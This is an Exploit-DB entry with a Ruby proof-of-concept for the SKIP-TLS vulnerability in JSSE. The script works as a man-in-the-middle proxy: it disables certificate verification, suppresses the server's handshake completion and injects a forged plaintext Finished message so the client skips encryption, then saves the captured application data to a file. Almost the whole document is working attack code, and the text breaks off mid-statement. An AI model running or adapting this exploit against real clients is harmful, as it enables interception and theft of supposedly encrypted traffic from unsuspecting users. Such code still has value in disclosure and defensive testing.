Exploit-DB #38641
Description: JSSE - SKIP-TLS
Type: webapps
Platform: multiple
Date: 2015-11-05
Author: Ramon de C Valle

Exploit:
#!/usr/bin/env ruby
# encoding: ASCII-8BIT
# By Ramon de C Valle. This work is dedicated to the public domain.

require 'openssl'
require 'optparse'
require 'socket'

Version = [0, 0, 1]
Release = nil

def prf(secret, label, seed)
  if secret.empty?
    s1 = s2 = ''
  else
    length = ((secret.length * 1.0) / 2).ceil
    s1 = secret[0..(length - 1)]
    s2 = secret[(length - 1)..(secret.length - 1)]
  end

  hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, label + seed)
  hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, hmac_md5 + label + seed)

  hmac_sha1 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, label + seed)
  hmac_sha1 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, hmac_sha1 + label + seed)

  result = ''
  [hmac_md5.length, hmac_sha1.length].max.times { |i| result << [(hmac_md5.getbyte(i) || 0) ^ (hmac_sha1.getbyte(i) || 0)].pack('C') }
  result
end

def prf_sha256(secret, label, seed)
  hmac_sha256 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, label + seed)
  OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, hmac_sha256 + label + seed)
end

class String
  def hexdump(stream=$stdout)
    0.step(bytesize - 1, 16) do |i|
      stream.printf('%08x  ', i)

      0.upto(15) do |j|
        stream.printf(' ') if j == 8

        if i + j >= bytesize
          stream.printf('   ')
        else
          stream.printf('%02x ', getbyte(i + j))
        end
      end

      stream.printf(' ')

      0.upto(15) do |j|
        if i + j >= bytesize
          stream.printf(' ')
        else
          if /[[:print:]]/ === getbyte(i + j).chr && /[^[:space:]]/ === getbyte(i + j).chr
            stream.printf('%c', getbyte(i + j))
          else
            stream.printf('.')
          end
        end
      end

      stream.printf("\n")
    end
  end
end

options = {}

OptionParser.new do |parser|
  parser.banner = "Usage: #{parser.program_name} [options] host"

  parser.separator('')
  parser.separator('Options:')

  parser.on('-H', '--local-host HOST', 'Local host') do |host|
    options[:local_host] = host
  end

  parser.on('-P', '--local-port PORT', 'Local port') do |port|
    options[:local_port] = port
  end

  parser.on('-d', '--debug', 'Debug mode') do
    options[:debug] = true
  end

  parser.on('-h', '--help', 'Show this message') do
    puts parser
    exit
  end

  parser.on('-o', '--output FILE', 'Output file') do |file|
    options[:file] = File.new(file, 'w+b')
  end

  parser.on('-p', '--port PORT', 'Port') do |port|
    options[:port] = port
  end

  parser.on('-v', '--verbose', 'Verbose mode') do
    options[:verbose] = true
  end

  parser.on('--version', 'Show version') do
    puts parser.ver
    exit
  end
end.parse!

local_host = options[:local_host] || '0.0.0.0'
local_port = options[:local_port] || 443
debug = options[:debug] || false
file = options[:file] || nil
host = ARGV[0] or fail ArgumentError, 'no host given'
port = options[:port] || 443
verbose = options[:verbose] || false

proxy = TCPServer.new(local_host, local_port)
puts 'Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]] if debug || verbose

loop do
  Thread.start(proxy.accept) do |client|
    puts 'Accepted connection from %s:%d' % [client.peeraddr[2], client.peeraddr[1]] if debug || verbose

    finished_sent = false
    handshake_messages = ''
    version = ''

    context = OpenSSL::SSL::SSLContext.new(:TLSv1)
    context.verify_mode = OpenSSL::SSL::VERIFY_NONE

    tcp_socket = TCPSocket.new(host, port)
    ssl_server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context)
    ssl_server.connect

    puts 'Connected to %s:%d' % [ssl_server.peeraddr[2], ssl_server.peeraddr[1]] if debug || verbose

    server = TCPSocket.new(host, port)

    puts 'Connected to %s:%d' % [server.peeraddr[2], server.peeraddr[1]] if debug || verbose

    loop do
      readable, = IO.select([client, server])

      readable.each do |r|
        if r == ssl_server
          # ssl_server is an SSL socket; read application data directly
          header = ''
          fragment = r.readpartial(4096)
          fragment.hexdump($stderr) if debug
          puts '%d bytes received' % [fragment.bytesize] if debug || verbose
        else
          header = r.read(5)
          raise EOFError if header.nil?
          header.hexdump($stderr) if debug
          puts '%d bytes received' % [header.bytesize] if debug || verbose

          fragment = r.read(header[3, 2].unpack('n')[0])
          fragment.hexdump($stderr) if debug
          puts '%d bytes received' % [fragment.bytesize] if debug || verbose
        end

        if finished_sent
          if file
            # Save application data
            file.write(fragment)
            file.flush
            file.fsync
          end
        elsif fragment =~ /^\x0e\x00\x00\x00/ # server_hello_done
          # Drop the server hello done message and send the finished
          # message in plaintext.
          if header[2, 1] == "\x03"
            verify_data = prf_sha256('', 'server finished', OpenSSL::Digest::SHA256.digest(handshake_messages))
            verify_data = verify_data[0, 12]
          else
            verify_data = prf('', 'server finished', OpenSSL::Digest::MD5.digest(handshake_messages) + OpenSSL::Digest::SHA1.digest(handshake_messages))
            verify_data = verify_data[0, 12]
          end

          finished = "\x14#{[verify_data.length].pack('N')[1, 3]}#{verify_data}"
          record = header[0, 3] + [finished.length].pack('n') + finished

          count = client.write(record)
          client.flush
          record.hexdump($stderr) if debug
          puts '%d bytes sent' % [count] if debug || verbose

          finished_sent = true

          # Change to the SSL socket
          server.close
          ser